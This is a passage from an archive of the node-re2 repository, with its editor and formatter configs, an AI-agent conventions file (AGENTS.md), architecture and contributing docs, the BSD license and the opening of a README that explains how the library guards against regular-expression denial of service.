uhop-node-re2-2d93a5d/.prettierrc000066400000000000000000000001761521435504200167040ustar00rootroot00000000000000{ "printWidth": 80, "singleQuote": true, "bracketSpacing": false, "arrowParens": "avoid", "trailingComma": "none" } uhop-node-re2-2d93a5d/.vscode/000077500000000000000000000000001521435504200160555ustar00rootroot00000000000000uhop-node-re2-2d93a5d/.vscode/c_cpp_properties.json000066400000000000000000000010561521435504200223120ustar00rootroot00000000000000{ "configurations": [ { "name": "Mac", "includePath": [ "${workspaceFolder}/**", "/${env.NVM_INC}/**" ], "defines": [], "macFrameworkPath": [ "/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/System/Library/Frameworks" ], "compilerPath": "/usr/bin/clang", "cStandard": "c17", "cppStandard": "c++17", "intelliSenseMode": "macos-clang-arm64" } ], "version": 4 }uhop-node-re2-2d93a5d/.vscode/launch.json000066400000000000000000000007711521435504200202270ustar00rootroot00000000000000{ // Use IntelliSense to learn about possible attributes. // Hover to view descriptions of existing attributes. // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387 "version": "0.2.0", "configurations": [ { "type": "lldb", "request": "launch", "name": "Debug tests", "preLaunchTask": "npm: build:dev", "program": "${env:NVM_BIN}/node", "args": ["${workspaceFolder}/tests/tests.js"], "cwd": "${workspaceFolder}" } ] } uhop-node-re2-2d93a5d/.vscode/settings.json000066400000000000000000000001231521435504200206040ustar00rootroot00000000000000{ "cSpell.words": [ "heya", "PCRE", "replacee", "Submatch" ] } uhop-node-re2-2d93a5d/.vscode/tasks.json000066400000000000000000000003251521435504200200750ustar00rootroot00000000000000{ "version": "2.0.0", "tasks": [ { "type": "npm", "script": "build:dev", "group": "build", "problemMatcher": [], "label": "npm: build:dev", "detail": "node-gyp -j max build --debug" } ] } uhop-node-re2-2d93a5d/.windsurf/000077500000000000000000000000001521435504200164335ustar00rootroot00000000000000uhop-node-re2-2d93a5d/.windsurf/workflows/000077500000000000000000000000001521435504200204705ustar00rootroot00000000000000uhop-node-re2-2d93a5d/.windsurf/workflows/add-module.md000066400000000000000000000042101521435504200230220ustar00rootroot00000000000000--- description: Checklist for adding a new C++ method or JS feature to node-re2 --- # Add a New Module Follow these steps when adding a new method, feature, or C++ implementation. ## New C++ method (e.g., `lib/foo.cc`) 1. Create `lib/foo.cc` with the implementation. - Use nan for the Node.js addon API. - Follow existing patterns in `lib/exec.cc` or `lib/test.cc`. - Tabs for indentation, 4-wide. - Include `lib/wrapped_re2.h` and `lib/util.h` as needed. 2. Register the method in `lib/addon.cc`: - Add `Nan::SetPrototypeMethod(tpl, "foo", Foo);` or equivalent. 3. Add the method to `lib/wrapped_re2.h` if it needs a static declaration. 4. Add the source file to `binding.gyp` in the `"sources"` array. // turbo 5. Rebuild the addon: `npm run rebuild` 6. Update `re2.js` if JS-side setup is needed (e.g., Symbol aliases). 7. Update `re2.d.ts` with TypeScript declarations for the new method. - Keep `re2.js` and `re2.d.ts` in sync. 8. Create `tests/test-foo.mjs` with automated tests (tape-six, ESM): - `import {RE2} from '../re2.js';` - Test with strings and Buffers. - Test edge cases (empty input, no match, global flag, etc.). // turbo 9. Run the new test: `node tests/test-foo.mjs` 10. Update TypeScript tests in `ts-tests/test-types.ts` if the public API changed. 11. Update `README.md` with documentation for the new feature. 12. Update `ARCHITECTURE.md` — add to project layout and C++ addon table. 13. Update `llms.txt` and `llms-full.txt` with a description and examples. 14. Update `AGENTS.md` if the architecture quick reference needs updating. // turbo 15. Verify: `npm test` // turbo 16. Verify: `npm run ts-check` // turbo 17. Verify: `npm run lint` ## JS-only feature (e.g., new Symbol alias, helper) 1. Add the implementation to `re2.js`. 2. Update `re2.d.ts` with TypeScript declarations. 3. Create or update tests in `tests/`. // turbo 4. Run the new test: `node tests/test-.mjs` 5. Update `README.md`, `llms.txt`, `llms-full.txt`. 6. Update `AGENTS.md` and `ARCHITECTURE.md` if needed. // turbo 7. Verify: `npm test` // turbo 8. Verify: `npm run ts-check` // turbo 9. Verify: `npm run lint` uhop-node-re2-2d93a5d/.windsurfrules000066400000000000000000000201511521435504200174300ustar00rootroot00000000000000 # AGENTS.md — node-re2 > `node-re2` provides Node.js bindings for [RE2](https://github.com/google/re2): a fast, safe alternative to backtracking regular expression engines. The npm package name is `re2`. It is a C++ native addon built with `node-gyp` and `nan`. For project structure, module dependencies, and the architecture overview see [ARCHITECTURE.md](./ARCHITECTURE.md). For detailed usage docs see the [README](./README.md) and the [wiki](https://github.com/uhop/node-re2/wiki). ## Setup This project uses git submodules for vendored dependencies (RE2 and Abseil): ```bash git clone --recursive https://github.com/uhop/node-re2.git cd node-re2 npm install ``` If the native addon fails to download a prebuilt artifact, it builds locally via `node-gyp`. **Supported Node.js versions:** `^22.22.2 || ^24.15.0 || >=26.0.0` (the `engines` field). Narrowed in 1.25.0 to mirror `node-gyp` 13 — Node 25.x and the older 22.0–22.22.1 / 24.0–24.14 patch ranges are no longer supported. ## Commands - **Install:** `npm install` (downloads prebuilt artifact or builds from source) - **Build (release):** `npm run rebuild` (or `node-gyp -j max rebuild`) - **Build (debug):** `npm run rebuild:dev` (or `node-gyp -j max rebuild --debug`) - **Test:** `npm test` (runs `tape6 --flags FO`, worker threads) - **Test (sequential):** `npm run test:seq` - **Test (multi-process):** `npm run test:proc` - **Test (single file):** `node tests/test-.mjs` - **TypeScript check:** `npm run ts-check` - **Lint:** `npm run lint` (Prettier check) - **Lint fix:** `npm run lint:fix` (Prettier write) - **Verify build:** `npm run verify-build` ## Project structure ``` node-re2/ ├── package.json # Package config; "tape6" section configures test discovery ├── binding.gyp # node-gyp build configuration for the C++ addon ├── re2.js # Main entry point: loads native addon, sets up Symbol aliases ├── re2.d.ts # TypeScript declarations for the public API ├── tsconfig.json # TypeScript config (noEmit, strict, types: ["node"]) ├── lib/ # C++ source code (native addon) │ ├── addon.cc # Node.js addon initialization, method registration │ ├── wrapped_re2.h # WrappedRE2 class definition (core C++ wrapper) │ ├── wrapped_re2_set.h # WrappedRE2Set class definition (RE2.Set wrapper) │ ├── isolate_data.h # Per-isolate data struct for thread-safe addon state │ ├── new.cc # Constructor: parse pattern/flags, create RE2 instance │ ├── exec.cc # RE2.prototype.exec() implementation │ ├── test.cc # RE2.prototype.test() implementation │ ├── match.cc # RE2.prototype.match() implementation │ ├── replace.cc # RE2.prototype.replace() implementation │ ├── search.cc # RE2.prototype.search() implementation │ ├── split.cc # RE2.prototype.split() implementation │ ├── to_string.cc # RE2.prototype.toString() implementation │ ├── accessors.cc # Property accessors (source, flags, lastIndex, etc.) │ ├── pattern.cc # Pattern translation (RegExp → RE2 syntax, Unicode classes) │ ├── set.cc # RE2.Set implementation (multi-pattern matching) │ ├── util.cc # Shared utilities (UTF-8/UTF-16 conversion, buffer helpers) │ ├── util.h # Utility declarations │ └── pattern.h # Pattern translation declarations ├── scripts/ │ └── verify-build.js # Quick smoke test for the built addon ├── tests/ # Test files (test-*.mjs using tape-six) ├── ts-tests/ # TypeScript type-checking tests │ └── test-types.ts # Verifies type declarations compile correctly ├── bench/ # Benchmarks ├── vendor/ # Vendored C++ dependencies (git submodules) │ ├── re2/ # Google RE2 library source │ └── abseil-cpp/ # Abseil C++ library (RE2 dependency) └── .github/ # CI workflows, Dependabot config, actions ``` ## Code style - **CommonJS** throughout (`"type": "commonjs"` in package.json). - **No transpilation** — JavaScript code runs directly. - **C++ code** uses tabs for indentation, 4-wide. JavaScript uses 2-space indentation. - **Prettier** for JS/TS formatting (see `.prettierrc`): 80 char width, single quotes, no bracket spacing, no trailing commas, arrow parens "avoid". - **nan** (Native Abstractions for Node.js) for the C++ addon API. - Semicolons are enforced by Prettier (default `semi: true`). - Imports use `require()` syntax in source, `import` in tests (`.mjs`). ## Critical rules - **Do not modify vendored code.** Never edit files under `vendor/`. They are git submodules. - **Do not modify or delete test expectations** without understanding why they changed. - **Do not add comments or remove comments** unless explicitly asked. - **Keep `re2.js` and `re2.d.ts` in sync.** All public API exposed from `re2.js` must be typed in `re2.d.ts`. - **The addon must build on all supported platforms:** Linux (x64, arm64, Alpine), macOS (x64, arm64), Windows (x64, arm64). - **RE2 is always Unicode-mode.** The `u` flag is always added implicitly. - **Buffer support is a first-class feature.** All methods that accept strings must also accept Buffers, returning Buffers when given Buffer input. ## Architecture - `re2.js` is the main entry point. It loads the native C++ addon from `build/Release/re2.node` and sets up `Symbol.match`, `Symbol.search`, `Symbol.replace`, `Symbol.split`, and `Symbol.matchAll` on the prototype. - The C++ addon (`lib/*.cc`) wraps Google's RE2 library via nan. Each RegExp method has its own `.cc` file. - `lib/new.cc` handles construction: parsing patterns, translating RegExp syntax to RE2 syntax (via `lib/pattern.cc`), and creating the underlying `re2::RE2` instance. - `lib/pattern.cc` translates JavaScript RegExp features to RE2 equivalents. General_Category and Script are mapped to RE2-native names (`\p{Letter}` → `\p{L}`, `\p{Script=Latin}` → `\p{Latin}`); binary properties (Emoji, Alphabetic, ASCII, ID_Start, …) and Script_Extensions are expanded inline to codepoint-range character classes using tables in `lib/unicode_properties.h`. The full accepted set matches [MDN's Unicode character class escape reference](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Unicode_character_class_escape) (excluding `v`-flag Properties of Strings). Tables are auto-generated from `@unicode/unicode-17.0.0` via `node scripts/gen-unicode-properties.mjs`. - `lib/set.cc` implements `RE2.Set` for multi-pattern matching using `re2::RE2::Set`. - `lib/util.cc` provides UTF-8 ↔ UTF-16 conversion helpers and buffer utilities. - Prebuilt native artifacts are hosted on GitHub Releases and downloaded at install time via `install-artifact-from-github`. ## Writing tests ```js import test from 'tape-six'; import {RE2} from '../re2.js'; test('example', t => { const re = new RE2('a(b*)', 'i'); const result = re.exec('aBbC'); t.ok(result); t.equal(result[0], 'aBb'); t.equal(result[1], 'Bb'); }); ``` - Test files use `tape-six`: `.mjs` for runtime tests, `.ts` for TypeScript typing tests. - Test file naming convention: `test-*.mjs` in `tests/`, `test-*.ts` in `ts-tests/`. - Tests are configured in `package.json` under the `"tape6"` section. - Test files should be directly executable: `node tests/test-foo.mjs`. ## Key conventions - The library is a drop-in replacement for `RegExp` — the `RE2` object emulates the standard `RegExp` API. - `RE2.Set` provides multi-pattern matching: `new RE2.Set(patterns, flags, options)`. - Static helpers: `RE2.getUtf8Length(str)`, `RE2.getUtf16Length(buf)`. - `RE2.unicodeWarningLevel` controls behavior when non-Unicode regexps are created. - The `install` script tries to download a prebuilt `.node` artifact before falling back to `node-gyp rebuild`. - All C++ source is in `lib/`, all vendored third-party C++ is in `vendor/`. uhop-node-re2-2d93a5d/AGENTS.md000066400000000000000000000200511521435504200160150ustar00rootroot00000000000000# AGENTS.md — node-re2 > `node-re2` provides Node.js bindings for [RE2](https://github.com/google/re2): a fast, safe alternative to backtracking regular expression engines. The npm package name is `re2`. It is a C++ native addon built with `node-gyp` and `nan`. For project structure, module dependencies, and the architecture overview see [ARCHITECTURE.md](./ARCHITECTURE.md). For detailed usage docs see the [README](./README.md) and the [wiki](https://github.com/uhop/node-re2/wiki). ## Setup This project uses git submodules for vendored dependencies (RE2 and Abseil): ```bash git clone --recursive https://github.com/uhop/node-re2.git cd node-re2 npm install ``` If the native addon fails to download a prebuilt artifact, it builds locally via `node-gyp`. **Supported Node.js versions:** `^22.22.2 || ^24.15.0 || >=26.0.0` (the `engines` field). Narrowed in 1.25.0 to mirror `node-gyp` 13 — Node 25.x and the older 22.0–22.22.1 / 24.0–24.14 patch ranges are no longer supported. ## Commands - **Install:** `npm install` (downloads prebuilt artifact or builds from source) - **Build (release):** `npm run rebuild` (or `node-gyp -j max rebuild`) - **Build (debug):** `npm run rebuild:dev` (or `node-gyp -j max rebuild --debug`) - **Test:** `npm test` (runs `tape6 --flags FO`, worker threads) - **Test (sequential):** `npm run test:seq` - **Test (multi-process):** `npm run test:proc` - **Test (single file):** `node tests/test-.mjs` - **TypeScript check:** `npm run ts-check` - **Lint:** `npm run lint` (Prettier check) - **Lint fix:** `npm run lint:fix` (Prettier write) - **Verify build:** `npm run verify-build` ## Project structure ``` node-re2/ ├── package.json # Package config; "tape6" section configures test discovery ├── binding.gyp # node-gyp build configuration for the C++ addon ├── re2.js # Main entry point: loads native addon, sets up Symbol aliases ├── re2.d.ts # TypeScript declarations for the public API ├── tsconfig.json # TypeScript config (noEmit, strict, types: ["node"]) ├── lib/ # C++ source code (native addon) │ ├── addon.cc # Node.js addon initialization, method registration │ ├── wrapped_re2.h # WrappedRE2 class definition (core C++ wrapper) │ ├── wrapped_re2_set.h # WrappedRE2Set class definition (RE2.Set wrapper) │ ├── isolate_data.h # Per-isolate data struct for thread-safe addon state │ ├── new.cc # Constructor: parse pattern/flags, create RE2 instance │ ├── exec.cc # RE2.prototype.exec() implementation │ ├── test.cc # RE2.prototype.test() implementation │ ├── match.cc # RE2.prototype.match() implementation │ ├── replace.cc # RE2.prototype.replace() implementation │ ├── search.cc # RE2.prototype.search() implementation │ ├── split.cc # RE2.prototype.split() implementation │ ├── to_string.cc # RE2.prototype.toString() implementation │ ├── accessors.cc # Property accessors (source, flags, lastIndex, etc.) │ ├── pattern.cc # Pattern translation (RegExp → RE2 syntax, Unicode classes) │ ├── set.cc # RE2.Set implementation (multi-pattern matching) │ ├── util.cc # Shared utilities (UTF-8/UTF-16 conversion, buffer helpers) │ ├── util.h # Utility declarations │ └── pattern.h # Pattern translation declarations ├── scripts/ │ └── verify-build.js # Quick smoke test for the built addon ├── tests/ # Test files (test-*.mjs using tape-six) ├── ts-tests/ # TypeScript type-checking tests │ └── test-types.ts # Verifies type declarations compile correctly ├── bench/ # Benchmarks ├── vendor/ # Vendored C++ dependencies (git submodules) │ ├── re2/ # Google RE2 library source │ └── abseil-cpp/ # Abseil C++ library (RE2 dependency) └── .github/ # CI workflows, Dependabot config, actions ``` ## Code style - **CommonJS** throughout (`"type": "commonjs"` in package.json). - **No transpilation** — JavaScript code runs directly. - **C++ code** uses tabs for indentation, 4-wide. JavaScript uses 2-space indentation. - **Prettier** for JS/TS formatting (see `.prettierrc`): 80 char width, single quotes, no bracket spacing, no trailing commas, arrow parens "avoid". - **nan** (Native Abstractions for Node.js) for the C++ addon API. - Semicolons are enforced by Prettier (default `semi: true`). - Imports use `require()` syntax in source, `import` in tests (`.mjs`). ## Critical rules - **Do not modify vendored code.** Never edit files under `vendor/`. They are git submodules. - **Do not modify or delete test expectations** without understanding why they changed. - **Do not add comments or remove comments** unless explicitly asked. - **Keep `re2.js` and `re2.d.ts` in sync.** All public API exposed from `re2.js` must be typed in `re2.d.ts`. - **The addon must build on all supported platforms:** Linux (x64, arm64, Alpine), macOS (x64, arm64), Windows (x64, arm64). - **RE2 is always Unicode-mode.** The `u` flag is always added implicitly. - **Buffer support is a first-class feature.** All methods that accept strings must also accept Buffers, returning Buffers when given Buffer input. ## Architecture - `re2.js` is the main entry point. It loads the native C++ addon from `build/Release/re2.node` and sets up `Symbol.match`, `Symbol.search`, `Symbol.replace`, `Symbol.split`, and `Symbol.matchAll` on the prototype. - The C++ addon (`lib/*.cc`) wraps Google's RE2 library via nan. Each RegExp method has its own `.cc` file. - `lib/new.cc` handles construction: parsing patterns, translating RegExp syntax to RE2 syntax (via `lib/pattern.cc`), and creating the underlying `re2::RE2` instance. - `lib/pattern.cc` translates JavaScript RegExp features to RE2 equivalents. General_Category and Script are mapped to RE2-native names (`\p{Letter}` → `\p{L}`, `\p{Script=Latin}` → `\p{Latin}`); binary properties (Emoji, Alphabetic, ASCII, ID_Start, …) and Script_Extensions are expanded inline to codepoint-range character classes using tables in `lib/unicode_properties.h`. The full accepted set matches [MDN's Unicode character class escape reference](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Unicode_character_class_escape) (excluding `v`-flag Properties of Strings). Tables are auto-generated from `@unicode/unicode-17.0.0` via `node scripts/gen-unicode-properties.mjs`. - `lib/set.cc` implements `RE2.Set` for multi-pattern matching using `re2::RE2::Set`. - `lib/util.cc` provides UTF-8 ↔ UTF-16 conversion helpers and buffer utilities. - Prebuilt native artifacts are hosted on GitHub Releases and downloaded at install time via `install-artifact-from-github`. ## Writing tests ```js import test from 'tape-six'; import {RE2} from '../re2.js'; test('example', t => { const re = new RE2('a(b*)', 'i'); const result = re.exec('aBbC'); t.ok(result); t.equal(result[0], 'aBb'); t.equal(result[1], 'Bb'); }); ``` - Test files use `tape-six`: `.mjs` for runtime tests, `.ts` for TypeScript typing tests. - Test file naming convention: `test-*.mjs` in `tests/`, `test-*.ts` in `ts-tests/`. - Tests are configured in `package.json` under the `"tape6"` section. - Test files should be directly executable: `node tests/test-foo.mjs`. ## Key conventions - The library is a drop-in replacement for `RegExp` — the `RE2` object emulates the standard `RegExp` API. - `RE2.Set` provides multi-pattern matching: `new RE2.Set(patterns, flags, options)`. - Static helpers: `RE2.getUtf8Length(str)`, `RE2.getUtf16Length(buf)`. - `RE2.unicodeWarningLevel` controls behavior when non-Unicode regexps are created. - The `install` script tries to download a prebuilt `.node` artifact before falling back to `node-gyp rebuild`. - All C++ source is in `lib/`, all vendored third-party C++ is in `vendor/`. uhop-node-re2-2d93a5d/ARCHITECTURE.md000066400000000000000000000216151521435504200167250ustar00rootroot00000000000000# Architecture `node-re2` provides Node.js bindings for Google's [RE2](https://github.com/google/re2) regular expression engine. It is a C++ native addon built with `node-gyp` and `nan`. The `RE2` object is a drop-in replacement for `RegExp` with guaranteed linear-time matching (no ReDoS). ## Project layout ``` package.json # Package config; "tape6" section configures test discovery binding.gyp # node-gyp build configuration for the C++ addon re2.js # Main entry point: loads native addon, sets up Symbol aliases re2.d.ts # TypeScript declarations for the public API tsconfig.json # TypeScript config (noEmit, strict, types: ["node"]) lib/ # C++ source code (native addon) ├── addon.cc # Node.js addon initialization, method registration ├── wrapped_re2.h # WrappedRE2 class definition (core C++ wrapper) ├── wrapped_re2_set.h # WrappedRE2Set class definition (RE2.Set wrapper) ├── isolate_data.h # Per-isolate data struct for thread-safe addon state ├── new.cc # Constructor: parse pattern/flags, create RE2 instance ├── exec.cc # RE2.prototype.exec() implementation ├── test.cc # RE2.prototype.test() implementation ├── match.cc # RE2.prototype.match() implementation ├── replace.cc # RE2.prototype.replace() implementation ├── search.cc # RE2.prototype.search() implementation ├── split.cc # RE2.prototype.split() implementation ├── to_string.cc # RE2.prototype.toString() implementation ├── accessors.cc # Property accessors (source, flags, lastIndex, etc.) ├── pattern.cc # Pattern translation (RegExp → RE2 syntax, Unicode classes) ├── pattern.h # Pattern translation declarations ├── set.cc # RE2.Set implementation (multi-pattern matching) ├── util.cc # Shared utilities (UTF-8/UTF-16 conversion, buffer helpers) └── util.h # Utility declarations scripts/ └── verify-build.js # Quick smoke test for the built addon tests/ # Test files (test-*.mjs using tape-six) ts-tests/ # TypeScript type-checking tests └── test-types.ts # Verifies type declarations compile correctly bench/ # Benchmarks vendor/ # Vendored C++ dependencies (git submodules) — DO NOT MODIFY ├── re2/ # Google RE2 library source └── abseil-cpp/ # Abseil C++ library (RE2 dependency) .github/ # CI workflows, Dependabot config, actions ``` ## Core concepts ### How the addon works 1. `re2.js` is the entry point. It loads the compiled C++ addon from `build/Release/re2.node`. 2. The addon exposes an `RE2` constructor that wraps `re2::RE2` from Google's RE2 library. 3. `re2.js` adds `Symbol.match`, `Symbol.search`, `Symbol.replace`, `Symbol.split`, and `Symbol.matchAll` to the prototype so `RE2` instances work with ES6 string methods. 4. The `RE2` constructor can be called with or without `new` (factory mode). ### C++ addon structure Each RegExp method has its own `.cc` file for maintainability: | File | Purpose | | --------------- | ---------------------------------------------------------------- | | `addon.cc` | Node.js module initialization, registers all methods/accessors | | `isolate_data.h` | Per-isolate data struct (`AddonData`) for thread-safe addon state | | `wrapped_re2.h` | `WrappedRE2` class: holds `re2::RE2*`, flags, lastIndex, source | | `new.cc` | Constructor: parses pattern + flags, translates syntax, creates RE2 instance | | `exec.cc` | `exec()` — find match with capture groups | | `test.cc` | `test()` — boolean match check | | `match.cc` | `match()` — String.prototype.match equivalent | | `replace.cc` | `replace()` — substitution with string or function replacer | | `search.cc` | `search()` — find index of first match | | `split.cc` | `split()` — split string by pattern | | `to_string.cc` | `toString()` — `/pattern/flags` representation | | `accessors.cc` | Property getters: `source`, `flags`, `lastIndex`, `global`, `ignoreCase`, `multiline`, `dotAll`, `unicode`, `sticky`, `hasIndices`, `internalSource` | | `pattern.cc` | Translates JS RegExp syntax to RE2 syntax, maps Unicode property names | | `set.cc` | `RE2.Set` — multi-pattern matching via `re2::RE2::Set` | | `util.cc` | UTF-8 ↔ UTF-16 conversion, buffer/string helpers | ### Pattern translation (pattern.cc) JavaScript RegExp features are translated to RE2 equivalents: - Named groups: `(?...)` syntax is preserved (RE2 supports it natively). - Unicode classes follow [MDN's Unicode character class escape reference](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Unicode_character_class_escape) — the same set the JS `RegExp` accepts with the `u` flag, minus `v`-flag Properties of Strings. - General_Category long names like `\p{Letter}` are mapped to RE2 short names `\p{L}`. `gc=` and `General_Category=` prefixes are stripped and resolved the same way. - Script names like `\p{Script=Latin}` are mapped to `\p{Latin}` and handled by RE2 natively. Both `Script=`/`sc=` prefixes and ISO 15924 codes (`Latn`, `Cyrl`) are accepted. - Binary properties (~52: Emoji, Alphabetic, ASCII, ID_Start, White_Space, Math, …) and Script_Extensions (`\p{scx=Hani}`, expanded since RE2 has no native `scx=`) are expanded to explicit codepoint ranges from `lib/unicode_properties.h` (auto-generated by `scripts/gen-unicode-properties.mjs` from `@unicode/unicode-17.0.0`). - Backreferences and lookahead assertions are **not supported** — RE2 throws `SyntaxError`. ### Buffer support All methods accept both strings and Node.js Buffers: - Buffer inputs are assumed UTF-8 encoded. - Buffer inputs produce Buffer outputs (in composite result objects too). - Offsets and lengths are in bytes (not characters) when using Buffers. - The `useBuffers` property on replacer functions controls offset reporting in `replace()`. ### RE2.Set (set.cc) Multi-pattern matching using `re2::RE2::Set`: - `new RE2.Set(patterns, flags?, options?)` — compile multiple patterns into a single automaton. - `options.anchor` — `'unanchored'` (default), `'start'`, `'both'`. - `options.maxMem` — DFA memory budget in bytes (positive integer; default 8 MiB). - `set.test(str)` — returns `true` if any pattern matches. - `set.match(str)` — returns array of indices of matching patterns. - Properties: `size`, `source`, `sources`, `flags`, `anchor`, `maxMem`. ### Build system - `binding.gyp` defines the node-gyp build: compiles all `.cc` files in `lib/` plus vendored RE2 and Abseil sources. - Platform-specific compiler flags are set for GCC, Clang, and MSVC. - The `install` npm script first tries to download a prebuilt `re2.node` from GitHub Releases via `install-artifact-from-github`, falling back to a local `node-gyp rebuild`. - Prebuilt artifacts cover: Linux (x64, arm64, Alpine/musl), macOS (x64, arm64), Windows (x64, arm64). ## Module dependency graph ``` re2.js ──→ build/Release/re2.node (compiled C++ addon) │ ├── lib/addon.cc (init) │ ├── lib/new.cc ──→ lib/pattern.cc │ ├── lib/exec.cc │ ├── lib/test.cc │ ├── lib/match.cc │ ├── lib/replace.cc │ ├── lib/search.cc │ ├── lib/split.cc │ ├── lib/to_string.cc │ ├── lib/accessors.cc │ └── lib/set.cc │ ├── lib/wrapped_re2.h (shared class definition) ├── lib/wrapped_re2_set.h (RE2.Set class) ├── lib/util.cc / lib/util.h (shared utilities) │ └── vendor/ (re2 + abseil-cpp) ``` ## Testing - **Framework**: tape-six (`tape6`) - **Run all**: `npm test` (worker threads via `tape6 --flags FO`) - **Run sequential**: `npm run test:seq` - **Run multi-process**: `npm run test:proc` - **Run single file**: `node tests/test-.mjs` - **TypeScript check**: `npm run ts-check` - **Lint**: `npm run lint` (Prettier check) - **Lint fix**: `npm run lint:fix` (Prettier write) - **Verify build**: `npm run verify-build` (quick smoke test) ## Import paths ```js // CommonJS (source, scripts) const RE2 = require('re2'); // ESM (tests) import {RE2} from '../re2.js'; ``` uhop-node-re2-2d93a5d/CLAUDE.md000066400000000000000000000002321521435504200157700ustar00rootroot00000000000000 See [AGENTS.md](./AGENTS.md) for all AI agent rules and project conventions. uhop-node-re2-2d93a5d/CONTRIBUTING.md000066400000000000000000000027711521435504200167540ustar00rootroot00000000000000# Contributing to node-re2 Thank you for your interest in contributing! ## Getting started This project uses git submodules for vendored dependencies (RE2 and Abseil). Clone recursively: ```bash git clone --recursive git@github.com:uhop/node-re2.git cd node-re2 npm install ``` See [ARCHITECTURE.md](./ARCHITECTURE.md) for the module map and dependency graph. ## Development workflow 1. Make your changes. 2. Rebuild the addon: `npm run rebuild` 3. Lint: `npm run lint:fix` 4. Test: `npm test` 5. Type-check: `npm run ts-check` ## Code style - CommonJS (`require()`/`module.exports`) in JavaScript source, ESM (`import`) in tests (`.mjs`). - C++ code uses tabs (4-wide indentation). JavaScript uses 2-space indentation. - Formatted with Prettier — see `.prettierrc` for settings. - C++ addon API uses nan (Native Abstractions for Node.js). - Keep `re2.js` and `re2.d.ts` in sync. ## Important notes - Never edit files under `vendor/` — they are git submodules. - RE2 always operates in Unicode mode — the `u` flag is added implicitly. - Buffer support is a first-class feature — all methods must handle both strings and Buffers. ## License This project is distributed under the [BSD-3-Clause license](./LICENSE). External contributions are accepted only under licenses compatible with BSD-3-Clause; submissions under fundamentally incompatible licenses cannot be merged. ## AI agents If you are an AI coding agent, see [AGENTS.md](./AGENTS.md) for detailed project conventions, commands, and architecture. uhop-node-re2-2d93a5d/LICENSE000066400000000000000000000027701521435504200155270ustar00rootroot00000000000000BSD 3-Clause License Copyright (c) 2005-2026, Eugene Lazutkin All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. uhop-node-re2-2d93a5d/README.md000066400000000000000000000574721521435504200160120ustar00rootroot00000000000000# node-re2 [![NPM version][npm-img]][npm-url] [npm-img]: https://img.shields.io/npm/v/re2.svg [npm-url]: https://npmjs.org/package/re2 This project provides Node.js bindings for [RE2](https://github.com/google/re2): a fast, safe alternative to backtracking regular expression engines written by [Russ Cox](http://swtch.com/~rsc/) in C++. To learn more about RE2, start with [Regular Expression Matching in the Wild](http://swtch.com/~rsc/regexp/regexp3.html). More resources are on his [Implementing Regular Expressions](http://swtch.com/~rsc/regexp/) page. `RE2`'s regular expression language is almost a superset of what `RegExp` provides (see [Syntax](https://github.com/google/re2/wiki/Syntax)), but it lacks backreferences and lookahead assertions. See below for details. `RE2` always works in [Unicode mode](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/unicode) — character codes are interpreted as Unicode code points, not as binary values of UTF-16. See `RE2.unicodeWarningLevel` below for details. `RE2` emulates standard `RegExp`, making it a practical drop-in replacement in most cases. It also provides `String`-based regular expression methods. The constructor accepts `RegExp` directly, honoring all properties. It can work with [Node.js Buffers](https://nodejs.org/api/buffer.html) directly, reducing overhead and making processing of long files fast. The project is a C++ addon built with [nan](https://github.com/nodejs/nan). It cannot be used in web browsers. All documentation is in this README and in the [wiki](https://github.com/uhop/node-re2/wiki). ## Why use node-re2? The built-in Node.js regular expression engine can run in exponential time with a special combination: - A vulnerable regular expression - "Evil input" This can lead to what is known as a [Regular Expression Denial of Service (ReDoS)](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS). To check if your regular expressions are vulnerable, try one of these projects: - [rxxr2](http://www.cs.bham.ac.uk/~hxt/research/rxxr2/) - [safe-regex](https://github.com/substack/safe-regex) Neither project is perfect. node-re2 protects against ReDoS by evaluating patterns in `RE2` instead of the built-in regex engine. To run the bundled benchmark (make sure node-re2 is built first): ```bash npx nano-bench bench/bad-pattern.mjs ``` ## Standard features `RE2` objects are created just like `RegExp`: * [`new RE2(pattern[, flags])`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp) Supported flags: `g` (global), `i` (ignoreCase), `m` (multiline), `s` (dotAll), `u` (unicode, always on), `y` (sticky), `d` (hasIndices). Supported properties: * [`re2.lastIndex`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex) * [`re2.global`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/global) * [`re2.ignoreCase`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/ignoreCase) * [`re2.multiline`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/multiline) * 